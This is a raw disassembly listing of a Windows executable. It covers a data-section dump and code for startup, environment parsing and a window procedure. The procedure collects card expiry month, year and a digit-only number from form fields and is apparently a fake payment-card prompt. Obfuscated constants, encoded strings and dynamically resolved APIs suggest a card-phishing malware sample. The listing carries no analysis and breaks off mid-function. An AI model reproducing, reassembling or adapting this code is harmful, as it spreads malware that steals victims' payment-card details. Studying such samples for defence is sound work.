dd 0C531BD31h, 0ED31E131h, 531F631h, 1A321532h, 4A322932h
dd 5D325632h, 87327B32h, 0A0329B32h, 0DC32AF32h, 0F232E232h
dd 0F330132h, 3D333833h, 60334833h, 88336C33h, 9A339533h
dd 0B033A333h, 0BA33B533h, 0CC33C633h, 0D633D133h, 0E833E233h
dd 0F233ED33h, 433FE33h, 0E340934h, 20341A34h
dd 2A342534h, 3F343934h, 54344434h, 6A345B34h, 7A347034h
dd 0CD34A834h, 0DB34D534h, 0EB34E134h, 1434F134h, 26352035h
dd 5C352D35h, 6C356235h, 7D357735h, 91358635h, 0B2359735h
dd 0D335BD35h, 635F935h, 14360B36h, 26362136h, 34362C36h
dd 47364136h, 55364C36h, 64365D36h, 76367136h, 8C367F36h
dd 96369136h, 0A836A236h, 0B236AD36h, 0C436BE36h, 0CE36C936h
dd 0E036DA36h, 0EA36E536h, 0FC36F636h, 6370136h, 18371237h
dd 22371D37h, 34372E37h, 3E373937h, 50374A37h, 5A375537h
dd 6C376637h, 76377137h, 88378237h, 92378D37h, 0A4379E37h
dd 0AE37A937h, 0C037BA37h, 0CA37C537h, 0DC37D637h, 0E637E137h
dd 0F837F237h, 237FD37h, 17381138h, 24381C38h, 36383138h
dd 4C383F38h, 57385138h, 6B386138h, 76387138h, 0AE389038h
dd 0F738B538h, 1C391438h, 0BB397D39h, 0E739DC39h, 0C39FB39h
dd 3B3A123Ah, 7D3A573Ah, 913A8B3Ah, 0AA3AA13Ah, 0D83AB03Ah
dd 0F63AE63Ah, 223B0E3Ah, 373B283Bh, 4D3B3D3Bh, 633B5D3Bh
dd 873B753Bh, 0A53B8D3Bh, 0C33BB73Bh, 0E03BCB3Bh, 0EC3BE63Bh
dd 5A3C4E3Bh, 6A3C603Ch, 7E3C743Ch, 8E3C873Ch, 0A63C963Ch
dd 0B83CB13Ch, 0E43CD33Ch, 0F33CEC3Ch, 143D043Ch, 333D243Dh
dd 483D423Dh, 603D533Dh, 753D653Dh, 913D873Dh, 0A33D983Dh
dd 0B53DAE3Dh, 0D43DCE3Dh, 0E33DDE3Dh, 93DFE3Dh, 223E1C3Eh
dd 323E2D3Eh, 453E3E3Eh, 653E5B3Eh, 773E6C3Eh, 0B33E873Eh
dd 0C63EB93Eh, 0F53ED63Eh, 163EFB3Eh, 273F213Fh, 873F7E3Fh
dd 0FF3FF23Fh, 0A0003Fh, 1C800h, 20300500h, 56302730h
dd 0B130AB30h, 0C630BF30h, 0DF30D930h, 3030EA30h, 71315631h
dd 97319031h, 0A631A131h, 0B731AD31h, 0C231BC31h, 0D031C931h
dd 0E531DF31h, 331FD31h, 1D321632h, 40323432h, 52324A32h
dd 5F325732h, 6C326632h, 92328932h, 0B732A432h, 0CF32C932h
dd 832E532h, 23331433h, 51333F33h, 91336633h, 9C339633h
dd 0D533C433h, 0F033DB33h, 1C33F633h, 5A343134h, 9E347534h
dd 0BC34A434h, 0D934C534h, 334DF34h, 26352035h, 39353235h
dd 76357035h, 0B1358335h, 0E635BE35h, 335ED35h, 1F361936h
dd 6D363536h, 9A368536h, 0AB36A636h, 0BB36B436h, 0C936C436h
dd 0EA36DC36h, 5236FC36h, 96375B37h, 0A1379B37h, 0C637BE37h
dd 0E337D337h, 0F537EE37h, 27381037h, 3D383838h, 79385638h
dd 99388038h, 0B938A038h, 0FF38C038h, 19390538h, 29392039h
dd 38392E39h, 4B393D39h, 71396139h, 90397D39h, 0BC39A439h
dd 0E339C339h, 0F39F539h, 3B3A213Ah, 533A413Ah, 803A793Ah
dd 0B53AA33Ah, 0DC3AD13Ah, 0FD3AF73Ah, 3A3B0F3Ah, 4A3B433Bh
dd 803B733Bh, 0B73BA53Bh, 0D73BBF3Bh, 1F3BE43Bh, 433C303Ch
dd 5C3C573Ch, 793C6F3Ch, 913C803Ch, 0CE3CA43Ch, 0E03CDB3Ch
dd 63CE63Ch, 393D2D3Dh, 503D423Dh, 6B3D653Dh, 883D783Dh
dd 0A83D9C3Dh, 0B93DAE3Dh, 0CF3DC23Dh, 0E63DDB3Dh, 3DF63Dh
dd 143E0B3Eh, 2A3E1E3Eh, 3C3E333Eh, 4D3E423Eh, 693E5C3Eh
dd 823E763Eh, 0A73E8B3Eh, 0B83EAF3Eh, 0E03ECB3Eh, 0F43EED3Eh
dd 1E3EFA3Eh, 553F2F3Fh, 0C83F853Fh, 0E23FCE3Fh, 3FF93Fh
dd 0B00000h, 4C00h, 24301E00h, 51304B30h, 1030AC30h, 56313C31h
dd 70316531h, 94318A31h, 0D631B731h, 6A31F431h, 7A327232h
dd 83328232h, 923A8A3Ah, 8E3A9A3Ah, 0A63B9A3Bh, 0BE3BB23Bh
dd 0D63BCA3Bh, 0EE3BE23Bh, 63BFA3Bh, 120003Ch, 4400h, 0FC300000h
dd 98329431h, 0A0329C32h, 0A832A432h, 0B432AC32h, 0BC32B832h
dd 0C432C032h, 0CC32C832h, 0D832D032h, 0E032DC32h, 0E832E432h
dd 0F032EC32h, 4C32F432h, 54375037h, 375837h, 1400000h
dd 2000h, 98319400h, 0AC319C31h, 0B431B031h, 0BC31B831h
dd 0C431C031h, 31C831h, 74h dup(0)
dd 146A8000h, 46h, 1702800h, 3 dup(100h), 1703400h, 1703800h
dd 1703C00h, 716B6B00h, 2E5F7876h, 6C6C64h, 794600h, 1704000h
dd 0
dd 694C5F00h, 69614D62h, 30406Eh, 45EAh dup(0)
_data ends
; ---------------------------------------------------------------------------
; Section 4. (virtual address 0003A000)
; Virtual size : 0000AC10 ( 44048.)
; Section size in file : 0000AC10 ( 44048.)
; Offset to raw data for section: 0003A000
; Flags 60000020: Text Executable Readable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 43A000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_43A006: ; DATA XREF: sub_43A026+Ao
xor eax, eax
inc eax
mov ecx, [esp+4]
test dword ptr [ecx+4], 6
jz short locret_43A025
mov eax, [esp+8]
mov edx, [esp+10h]
mov [edx], eax
mov eax, 3
locret_43A025: ; CODE XREF: .text:0043A014j
retn
; =============== S U B R O U T I N E =======================================
sub_43A026 proc near ; CODE XREF: .text:0043A14Ep
; .text:0043A17Cp
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset loc_43A006
push large dword ptr fs:0
mov large fs:0, esp
loc_43A043: ; CODE XREF: sub_43A026+44j
; sub_43A026+4Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_43A072
cmp esi, [esp+1Ch+arg_4]
jz short loc_43A072
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov ecx, [esp+1Ch+var_14]
mov ecx, [eax+0Ch]
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_43A043
call dword ptr [ebx+esi*4+8]
jmp short loc_43A043
; ---------------------------------------------------------------------------
loc_43A072: ; CODE XREF: sub_43A026+2Aj
; sub_43A026+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_43A026 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A080 proc near ; CODE XREF: .text:0043A141p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_43A098
push [ebp+arg_0]
call sub_444BA4
loc_43A098: ; DATA XREF: sub_43A080+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_43A080 endp
; ---------------------------------------------------------------------------
cld
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
mov ebx, [ebp+0Ch]
mov eax, [ebp+8]
test dword ptr [eax+4], 6
jnz loc_43A175
mov [ebp-8], eax
mov eax, [ebp+10h]
mov [ebp-4], eax
lea eax, [ebp-8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_43A0D3: ; CODE XREF: .text:0043A16Cj
cmp esi, 0FFFFFFFFh
jz loc_43A184
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_43A163
push esi
push ebp
lea ebp, [ebx+10h]
mov eax, [ebp-14h]
mov eax, [eax]
mov eax, [eax]
mov dword_44B034, eax
mov edx, [ebp-14h]
mov eax, [edx]
mov dword_44B038, eax
mov eax, [edx+4]
mov dword_44B03C, eax
push esi
push edi
push ecx
mov ecx, 14h
lea edi, dword_44B040
mov esi, dword_44B038
rep movsd
lea edi, dword_44B040
mov dword_44B038, edi
pop ecx
pop edi
pop esi
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+0Ch]
or eax, eax
jz short loc_43A163
js short loc_43A171
mov edi, [ebx+8]
push ebx
call sub_43A080
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_43A026
add esp, 8
lea ecx, [esi+esi*2]
mov eax, [edi+ecx*4]
mov eax, [ebx+0Ch]
call dword ptr [edi+ecx*4+8]
loc_43A163: ; CODE XREF: .text:0043A0E4j
; .text:0043A139j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp loc_43A0D3
; ---------------------------------------------------------------------------
loc_43A171: ; CODE XREF: .text:0043A13Bj
xor eax, eax
jmp short loc_43A18E
; ---------------------------------------------------------------------------
loc_43A175: ; CODE XREF: .text:0043A0B8j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_43A026
add esp, 0Ch
loc_43A184: ; CODE XREF: .text:0043A0D6j
push 0Bh
call sub_444BEC
add esp, 4
loc_43A18E: ; CODE XREF: .text:0043A173j
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
cmp dword ptr [ebp+0Ch], 1
jnz short loc_43A1A7
call sub_43A1C3
loc_43A1A7: ; CODE XREF: .text:0043A1A0j
call sub_444B2F
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
mov eax, off_44B000
call eax ; sub_444B04
pop edi
pop esi
pop ebx
leave
retn 0Ch
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A1C3 proc near ; CODE XREF: .text:0043A1A2p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
push 0
push 0FFFFFFF6h
call sub_444BBC
mov [ebp+var_8], eax
push 0
push 0FFFFFFF5h
call sub_444BBC
mov [ebp+var_4], eax
push 0
push 0FFFFFFF4h
call sub_444BBC
mov [ebp+var_C], eax
push (offset aWr+2)
push [ebp+var_8]
call sub_444BB0
mov dword_44B008, eax
push offset aWr ; "wr"
push [ebp+var_4]
call sub_444BB0
mov dword_44B004, eax
push offset aWr ; "wr"
push [ebp+var_C]
call sub_444BB0
add esp, 30h
mov dword_44B00C, eax
mov edi, dword_44B004
or edi, edi
jz short loc_43A23C
push 0
push edi
call sub_444BF8
add esp, 8
loc_43A23C: ; CODE XREF: sub_43A1C3+6Cj
mov edi, dword_44B00C
or edi, edi
jz short loc_43A256
push 0
push edi
call sub_444BF8
add esp, 8
call sub_43A25C
loc_43A256: ; CODE XREF: sub_43A1C3+81j
pop edi
leave
retn
sub_43A1C3 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A25C proc near ; CODE XREF: sub_43A1C3+8Ep
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp+var_C], 0
call sub_444B98
mov ebx, eax
mov [ebp+var_10], ebx
jmp short loc_43A294
; ---------------------------------------------------------------------------
loc_43A278: ; CODE XREF: sub_43A25C+3Bj
cmp byte ptr [ebx], 3Dh
jz short loc_43A280
inc [ebp+var_C]
loc_43A280: ; CODE XREF: sub_43A25C+1Fj
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb
neg ecx
lea eax, [ecx-2]
mov edi, eax
inc edi
lea ebx, [ebx+edi]
loc_43A294: ; CODE XREF: sub_43A25C+1Aj
cmp byte ptr [ebx], 0
jnz short loc_43A278
mov edi, [ebp+var_C]
inc edi
lea edi, ds:0[edi*4]
mov [ebp+var_14], edi
push [ebp+var_14]
call sub_444BE0
pop ecx
mov [ebp+var_8], eax
mov dword_44B010, eax
cmp [ebp+var_8], 0
jnz short loc_43A2C2
xor eax, eax
jmp short loc_43A31F
; ---------------------------------------------------------------------------
loc_43A2C2: ; CODE XREF: sub_43A25C+60j
mov ebx, [ebp+var_10]
jmp short loc_43A30C
; ---------------------------------------------------------------------------
loc_43A2C7: ; CODE XREF: sub_43A25C+B3j
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb
neg ecx
lea eax, [ecx-2]
mov edi, eax
inc edi
mov [ebp+var_4], edi
cmp byte ptr [ebx], 3Dh
jz short loc_43A306
push [ebp+var_4]
call sub_444BE0
pop ecx
mov esi, [ebp+var_8]
mov [esi], eax
or eax, eax
jnz short loc_43A2F4
jmp short loc_43A31F
; ---------------------------------------------------------------------------
loc_43A2F4: ; CODE XREF: sub_43A25C+94j
push ebx
mov edi, [ebp+var_8]
push dword ptr [edi]
call sub_444C04
add esp, 8
add [ebp+var_8], 4
loc_43A306: ; CODE XREF: sub_43A25C+82j
mov edx, [ebp+var_4]
lea ebx, [ebx+edx]
loc_43A30C: ; CODE XREF: sub_43A25C+69j
cmp byte ptr [ebx], 0
jnz short loc_43A2C7
mov edx, [ebp+var_8]
mov dword ptr [edx], 0
mov eax, 1
loc_43A31F: ; CODE XREF: sub_43A25C+64j
; sub_43A25C+96j
pop edi
pop esi
pop ebx
leave
retn
sub_43A25C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A324 proc near ; DATA XREF: .data:0044B2B8o
push ebp
mov ebp, esp
push offset dword_44ABA8
call ds:dword_447A3C ; InterlockedIncrement
mov eax, ds:dword_44ABA8
pop ebp
retn 4
sub_43A324 endp
; =============== S U B R O U T I N E =======================================
sub_43A33B proc near ; CODE XREF: sub_442C0A+203p
push 2
call sub_43BE25
push 0
call sub_43BE25
add esp, 8
retn
sub_43A33B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A34D proc near ; DATA XREF: sub_44108E+E0Eo
; sub_44108E+E5Eo ...
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_219 = byte ptr -219h
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = byte ptr -204h
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_105 = byte ptr -105h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 230h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov eax, ebx
cmp eax, 100h
jz short loc_43A37E
jl loc_43A8C9
cmp eax, 111h
jz loc_43A418
jmp loc_43A8C9
; ---------------------------------------------------------------------------
loc_43A37E: ; CODE XREF: sub_43A34D+19j
cmp [ebp+arg_8], 9
jnz loc_43A8C9
mov edi, dword_44B12C
sub edi, 5
jmp short loc_43A3FE
; ---------------------------------------------------------------------------
loc_43A393: ; CODE XREF: sub_43A34D+C4j
mov eax, 30h
mul edi
mov [ebp+var_208], eax
cmp ds:dword_448380[eax], esi
jnz short loc_43A3C8
mov eax, 30h
mul edi
mov [ebp+var_20C], eax
push ds:dword_448384[eax]
call ds:dword_447A40 ; SetFocus
jmp loc_43A8C9
; ---------------------------------------------------------------------------
loc_43A3C8: ; CODE XREF: sub_43A34D+5Aj
mov eax, 30h
mul edi
mov [ebp+var_20C], eax
cmp ds:dword_448384[eax], esi
jnz short loc_43A3FD
mov eax, 30h
mul edi
mov [ebp+var_210], eax
push ds:dword_448388[eax]
call ds:dword_447A40 ; SetFocus
jmp loc_43A8C9
; ---------------------------------------------------------------------------
loc_43A3FD: ; CODE XREF: sub_43A34D+8Fj
inc edi
loc_43A3FE: ; CODE XREF: sub_43A34D+44j
mov eax, dword_44B1AC
add eax, 5Bh
movsx edx, word_44B0D8
add eax, edx
cmp edi, eax
jb short loc_43A393
jmp loc_43A8C9
; ---------------------------------------------------------------------------
loc_43A418: ; CODE XREF: sub_43A34D+26j
mov edi, dword_44B0CC
dec edi
jmp short loc_43A43B
; ---------------------------------------------------------------------------
loc_43A421: ; CODE XREF: sub_43A34D+FAj
mov eax, 30h
mul edi
mov [ebp+var_208], eax
mov eax, ds:dword_44838C[eax]
cmp [ebp+arg_C], eax
jz short loc_43A449
inc edi
loc_43A43B: ; CODE XREF: sub_43A34D+D2j
movsx eax, word_44B100
add eax, 5Bh
cmp edi, eax
jb short loc_43A421
loc_43A449: ; CODE XREF: sub_43A34D+EBj
movsx eax, word_44B194
add eax, 64h
cmp edi, eax
jz loc_43A8C9
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_20C], eax
push ds:dword_448378[eax]
call ds:dword_44ABA4 ; GetWindowTextA
mov eax, dword_44B1B8
mov byte ptr [ebp+eax+var_208+1], 4Bh
mov eax, dword_44B1B0
add eax, dword_44B1C0
mov edx, dword_44B09C
add edx, dword_44B0EC
sub edx, 0Dh
mov byte ptr [ebp+eax+var_208+2], dl
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_445020
add esp, 8
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_210], eax
push ds:dword_448380[eax]
call ds:dword_44ABA4 ; GetWindowTextA
mov eax, dword_44B198
movsx edx, word_44B1A8
add eax, edx
movsx eax, [ebp+eax+var_10B]
movsx edx, word_44B16C
add edx, dword_44B0A4
sub edx, 6
cmp eax, edx
jnz short loc_43A54D
mov eax, dword_44B17C
sub eax, 6
push eax
push 0
push offset aPleaseSelectEx ; "Please, select Expiration Month"
push 0
call ds:dword_44A640 ; MessageBoxA
mov eax, 30h
mul edi
mov [ebp+var_214], eax
push ds:dword_448380[eax]
call ds:dword_447A40 ; SetFocus
jmp loc_43A8C9
; ---------------------------------------------------------------------------
loc_43A54D: ; CODE XREF: sub_43A34D+1C7j
push offset word_44C832
call sub_4424C1
push eax
lea edx, [ebp+var_204]
push edx
call ds:dword_445020
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_445020
add esp, 14h
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_214], eax
push ds:dword_448384[eax]
call ds:dword_44ABA4 ; GetWindowTextA
mov eax, dword_44B0AC
add eax, dword_44B1CC
movsx eax, [ebp+eax+var_10A]
mov edx, dword_44B0E4
sub edx, 2
cmp eax, edx
jnz short loc_43A5FF
mov eax, dword_44B18C
add eax, dword_44B1C8
sub eax, 3
push eax
push 0
push offset aPleaseSelect_0 ; "Please, select Expiration Year"
push 0
call ds:dword_44A640 ; MessageBoxA
mov eax, 30h
mul edi
mov [ebp+var_218], eax
push ds:dword_448384[eax]
call ds:dword_447A40 ; SetFocus
jmp loc_43A8C9
; ---------------------------------------------------------------------------
loc_43A5FF: ; CODE XREF: sub_43A34D+273j
push offset word_44C80E
call sub_4424C1
push eax
lea edx, [ebp+var_204]
push edx
call ds:dword_445020
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_445020
add esp, 14h
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_218], eax
push ds:dword_448388[eax]
call ds:dword_44ABA4 ; GetWindowTextA
movsx eax, word_44B194
add eax, dword_44B188
movsx eax, [ebp+eax+var_103]
mov edx, dword_44B09C
sub edx, 8
cmp eax, edx
jz loc_43A7AC
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_43A683: ; CODE XREF: sub_43A34D+33Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43A683
mov edx, eax
mov ecx, dword_44B1B8
movsx eax, word_44B100
add ecx, eax
sub ecx, 8
cmp edx, ecx
jb loc_43A7AC
mov eax, dword_44B0C4
add eax, dword_44B0F0
sub eax, 8
mov [ebp+var_105], al
jmp short loc_43A6DE
; ---------------------------------------------------------------------------
loc_43A6BC: ; CODE XREF: sub_43A34D+3AAj
movzx eax, [ebp+var_105]
mov al, [ebp+eax+var_103]
cmp al, 30h
jl short loc_43A6D2
cmp al, 39h
jle short loc_43A6D7
loc_43A6D2: ; CODE XREF: sub_43A34D+37Fj
jmp loc_43A7AC
; ---------------------------------------------------------------------------
loc_43A6D7: ; CODE XREF: sub_43A34D+383j
add [ebp+var_105], 1
loc_43A6DE: ; CODE XREF: sub_43A34D+36Dj
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_43A6E7: ; CODE XREF: sub_43A34D+39Fj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43A6E7
movzx ecx, [ebp+var_105]
cmp ecx, eax
jb short loc_43A6BC
movsx eax, word_44B0D8
add eax, dword_44B0D4
sub eax, 6
mov [ebp+var_104], al
jmp short loc_43A788
; ---------------------------------------------------------------------------
loc_43A711: ; CODE XREF: sub_43A34D+454j
mov al, [ebp+var_104]
mov [ebp+var_219], al
jmp short loc_43A748
; ---------------------------------------------------------------------------
loc_43A71F: ; CODE XREF: sub_43A34D+414j
movzx eax, [ebp+var_219]
movsx eax, [ebp+eax+var_103]
movzx edx, [ebp+var_104]
movsx edx, [ebp+edx+var_103]
cmp eax, edx
jnz short loc_43A763
add [ebp+var_219], 1
loc_43A748: ; CODE XREF: sub_43A34D+3D0j
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_43A751: ; CODE XREF: sub_43A34D+409j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43A751
movzx ecx, [ebp+var_219]
cmp ecx, eax
jb short loc_43A71F
loc_43A763: ; CODE XREF: sub_43A34D+3F2j
movzx eax, [ebp+var_219]
movzx edx, [ebp+var_104]
sub eax, edx
movsx edx, word_44B0C8
sub edx, 4
cmp eax, edx
jg short loc_43A7AC
add [ebp+var_104], 1
loc_43A788: ; CODE XREF: sub_43A34D+3C2j
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_43A791: ; CODE XREF: sub_43A34D+449j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43A791
movzx ecx, [ebp+var_104]
cmp ecx, eax
jb loc_43A711
jmp loc_43A842
; ---------------------------------------------------------------------------
loc_43A7AC: ; CODE XREF: sub_43A34D+327j
; sub_43A34D+353j ...
movsx eax, word_44B0C8
add eax, 7C9h
push eax
call ds:dword_44A630
push offset a5 ; "5"
call sub_4424C1
mov [ebp-21Ch], eax
push offset word_44C7BE
call sub_4424C1
mov edx, dword_44B18C
add edx, dword_44B174
sub edx, 0Ah
push edx
push eax
mov edx, [ebp-21Ch]
push edx
push 0
call ds:dword_44A640 ; MessageBoxA
push offset word_44C7BA
call sub_4424C1
add esp, 10h
push eax
mov eax, 30h
mul edi
mov [ebp+var_220], eax
mov edx, eax
push ds:dword_448388[edx]
call ds:dword_44A654 ; SetWindowTextA
mov eax, 30h
mul edi
mov [ebp+var_224], eax
push ds:dword_448388[eax]
call ds:dword_447A40 ; SetFocus
jmp loc_43A8C9
; ---------------------------------------------------------------------------
loc_43A842: ; CODE XREF: sub_43A34D+45Aj
push offset byte_44C7B5
call sub_4424C1
push eax
lea edx, [ebp+var_204]
push edx
call ds:dword_445020
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_445020
mov eax, 30h
mul edi
mov [ebp+var_228], eax
push ds:dword_448378[eax]
call ds:dword_448224 ; DestroyWindow
lea eax, [ebp+var_204]
push eax
call ds:dword_44504C
add esp, 18h
push 5
mov eax, 30h
mul edi
mov [ebp+var_22C], eax
push ds:dword_448374[eax]
call ds:dword_44A658 ; ShowWindow
mov eax, 30h
mul edi
mov [ebp+var_230], eax
and ds:dword_448370[eax], 0
loc_43A8C9: ; CODE XREF: sub_43A34D+1Bj
; sub_43A34D+2Cj ...
mov edi, dword_44B124
dec edi
jmp loc_43A9A9
; ---------------------------------------------------------------------------
loc_43A8D5: ; CODE XREF: sub_43A34D+666j
mov eax, 30h
mul edi
mov [ebp+var_8], eax
cmp esi, ds:dword_448380[eax]
jnz short loc_43A90C
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_C], eax
push ds:dword_448390[eax]
call ds:dword_44A60C ; CallWindowProcA
jmp loc_43A9B9
; ---------------------------------------------------------------------------
loc_43A90C: ; CODE XREF: sub_43A34D+599j
mov eax, 30h
mul edi
mov [ebp+var_10], eax
cmp esi, ds:dword_448384[eax]
jnz short loc_43A940
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_14], eax
push ds:dword_448394[eax]
call ds:dword_44A60C ; CallWindowProcA
jmp short loc_43A9B9
; ---------------------------------------------------------------------------
loc_43A940: ; CODE XREF: sub_43A34D+5D0j
mov eax, 30h
mul edi
mov [ebp+var_18], eax
cmp esi, ds:dword_448388[eax]
jnz short loc_43A974
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_1C], eax
push ds:dword_448398[eax]
call ds:dword_44A60C ; CallWindowProcA
jmp short loc_43A9B9
; ---------------------------------------------------------------------------
loc_43A974: ; CODE XREF: sub_43A34D+604j
mov eax, 30h
mul edi
mov [ebp+var_20], eax
cmp esi, ds:dword_44837C[eax]
jnz short loc_43A9A8
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_24], eax
push ds:dword_44839C[eax]
call ds:dword_44A60C ; CallWindowProcA
jmp short loc_43A9B9
; ---------------------------------------------------------------------------
loc_43A9A8: ; CODE XREF: sub_43A34D+638j
inc edi
loc_43A9A9: ; CODE XREF: sub_43A34D+583j
mov eax, dword_44B13C
add eax, 62h
cmp edi, eax
jb loc_43A8D5
loc_43A9B9: ; CODE XREF: sub_43A34D+5BAj
; sub_43A34D+5F1j ...
pop edi
pop esi
pop ebx
leave
retn 10h
sub_43A34D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A9C0 proc near ; CODE XREF: sub_43B780+17Dp
; sub_43F0EA+CCp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
push ebx
call ds:dword_445000 ; lstrlenW
mov edi, eax
push 0
push 0
movsx eax, word_44B154
add eax, 1FF7h
push eax
push esi
push edi
push ebx
mov eax, dword_44B1C0
sub eax, 3
push eax
push 0
call ds:dword_44500C ; WideCharToMultiByte
mov eax, dword_44B138
add eax, dword_44B120
sub eax, 0Ah
mov [esi+edi], al
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_43A9C0 endp
; =============== S U B R O U T I N E =======================================
sub_43AA12 proc near ; CODE XREF: sub_442C0A+11p
push edi
push offset dword_44C7A8
call sub_4424C1
pop ecx
push eax
call ds:dword_4475E8 ; GetModuleHandleA
mov dword_44B1E0, eax
test eax, eax
jnz short loc_43AA45
push offset byte_44C79B
call sub_4424C1
pop ecx
push eax
call ds:dword_448244 ; LoadLibraryA
mov dword_44B1E0, eax
loc_43AA45: ; CODE XREF: sub_43AA12+1Aj
push offset dword_44C78C
call sub_4424C1
push eax
push dword_44B1E0
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_448250, eax
push offset word_44C77A
call sub_4424C1
add esp, 8
push eax
push dword_44B1E0
call ds:dword_4471F8 ; GetProcAddress
mov ds:dword_446120, eax
pop edi
retn
sub_43AA12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AA82 proc near ; DATA XREF: .data:0044B298o
push ebp
mov ebp, esp
push offset dword_44A784
call ds:dword_447A3C ; InterlockedIncrement
mov eax, ds:dword_44A784
pop ebp
retn 4
sub_43AA82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43AA99 proc near ; DATA XREF: sub_43B52C+6Bo
; sub_43B52C+76o
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = byte ptr -110h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 118h
push ebx
push esi
push edi
movsx eax, word_44B090
add eax, dword_44B1AC
sub eax, 5
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 4Bh
jnz short loc_43AAD1
push offset dword_4470F0
lea eax, [ebp+var_110]
push eax
call sub_444B60
